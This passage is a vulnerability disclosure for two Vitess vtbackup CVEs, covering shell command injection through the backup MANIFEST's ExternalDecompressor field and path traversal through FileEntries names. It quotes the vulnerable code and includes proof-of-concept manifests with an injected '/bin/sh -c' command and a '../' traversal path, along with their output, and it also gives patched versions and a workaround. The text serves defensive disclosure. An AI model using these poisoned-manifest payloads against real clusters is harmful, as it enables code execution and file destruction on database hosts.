RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields

NeuroWinter1 pts0 comments

RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields

..

18-05-2026

RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields

TLDR:

Two CVEs in Vitess. Both come from the backup MANIFEST file being trusted at<br>restore time.

CVE-2026-27965 (GHSA-8g8j-r87h-p36x)

CVSS 8.4, CWE-78. The ExternalDecompressor field is run through<br>/bin/sh -c. RCE as the vitess user.

CVE-2026-27969 (GHSA-r492-hjgh-c9gw)

CVSS 9.3, CWE-22. FileEntries[].Name path traversal. Write to any path<br>the vitess user can write.

Affected: v22.0.3 and older, v23.0.0-v23.0.2.

Patched: v22.0.4, v23.0.3.

Quick workaround for the RCE only: set --external-decompressor=cat or any<br>other harmless command on vttablet/vtbackup. The flag overrides the<br>manifest. No equivalent for the path traversal, upgrade.

Background:

A Vitess backup is a directory containing a JSON MANIFEST and the data files<br>it references. Restore reads the manifest, copies the data files out, and<br>optionally decompresses them.

A normal one looks like this:

"BackupMethod": "builtin",<br>"CompressionEngine": "external",<br>"ExternalDecompressor": "zstd -d",<br>"FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":"..."}],<br>"Keyspace": "test",<br>"Shard": "0",<br>"SkipCompress": false

Two fields end up being the bugs:

ExternalDecompressor, a shell command.

FileEntries[].Name, a relative path.

Both are read from the manifest and used directly. If you can write to backup<br>storage, you can edit them.

The subtle bug here is that backup storage is treated like passive data, but the<br>MANIFEST is effectively restore-time control plane input. It selects commands,<br>paths, compression behaviour, and file layout. If the backup store is writable<br>by anything other than fully trusted restore operators, the manifest becomes an<br>execution surface.

The Bugs:

CVE-2026-27965: RCE via ExternalDecompressor

From go/vt/mysqlctl/compression.go:

cmdArgs := []string{"-c", cmdStr}<br>cmd := exec.CommandContext(ctx, "/bin/sh", cmdArgs...)

cmdStr is the manifest field, verbatim. No allowlist, no validation.

PoC manifest:

"BackupMethod": "builtin",<br>"CompressionEngine": "external",<br>"ExternalDecompressor": "/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'",<br>"FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":""}],<br>"Keyspace": "test",<br>"Shard": "0",<br>"SkipCompress": false

Run vtbackup against it:

vitess@d438d03b8595:/$ /vt/bin/vtbackup \<br>--backup-storage-implementation=file \<br>--file-backup-storage-root=/vt/backups \<br>--init-keyspace=test --init-shard=0 \<br>--topo-implementation=etcd2 \<br>--topo-global-server-address=etcd:2379 \<br>--topo-global-root=/vitess/global

... "msg":"Decompressing using external command: \"/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'\""

vitess@d438d03b8595:/$ cat /tmp/PWNED<br>uid=999(vitess) gid=999(vitess) groups=999(vitess)<br>VITESS_RCE

As the vitess user, you are executing inside the tablet/container context.<br>Depending on deployment, that can mean access to database files, MySQL<br>credentials, topology-server connectivity, and the network the tablet sits on.

Multiple tablets restore from the same backup store, so one poisoned manifest<br>fans out across the cluster as new replicas come up.

The restore itself fails on a hash mismatch, but the decompressor runs before<br>the hash check. And because the engine retries failed file restores, the command<br>runs twice per attempt.

The thing worth flagging: I had no --external-decompressor flag set, no<br>--compression-engine-name=external, no compression flags at all. The default<br>compression engine is pargzip. The restore engine consults the flag first,<br>but if it is empty it falls back to whatever is in the manifest. The manifest<br>sets CompressionEngine: "external" and that is enough.

So the threat is not “an admin enabled this dangerous feature”. It is “an admin<br>who has never heard of external compressors gets RCE’d by a manifest they did<br>not write.”

The fix in PR #19460 makes the<br>manifest fallback opt-in via --external-decompressor-allow-manifest. Default<br>is to ignore the field.

CVE-2026-27969: Path traversal via FileEntries[].Name

The restore engine joins FileEntries[i].Name onto the destination data dir<br>with no normalisation.

PoC manifest:

"BackupMethod": "builtin",<br>"CompressionEngine": "",<br>"SkipCompress": true,<br>"FileEntries": [{<br>"Base": "Data",<br>"Name": "../../../../tmp/OhNo.txt",<br>"Hash": ""<br>}],<br>"Keyspace": "test",<br>"Shard": "0"

Same vtbackup invocation:

vitess@6d4bc6844b03:/$ ls /tmp/<br>OhNo.txt

The file got created at /tmp/OhNo.txt, outside the data directory, anywhere I<br>want. Contents are empty because I did not bother computing the right hash for<br>the source.

The detail that matters is from go/os2/file.go:

func Create(name string) (*os.File, error) {<br>return OpenFile(name, os.O_RDWR|os.O_CREATE|os.O_TRUNC, PermFile)

O_TRUNC happens before the hash check. So even with a wrong hash, the target<br>file gets created and truncated to zero bytes. Point a...

manifest vitess file external backup name

Related Articles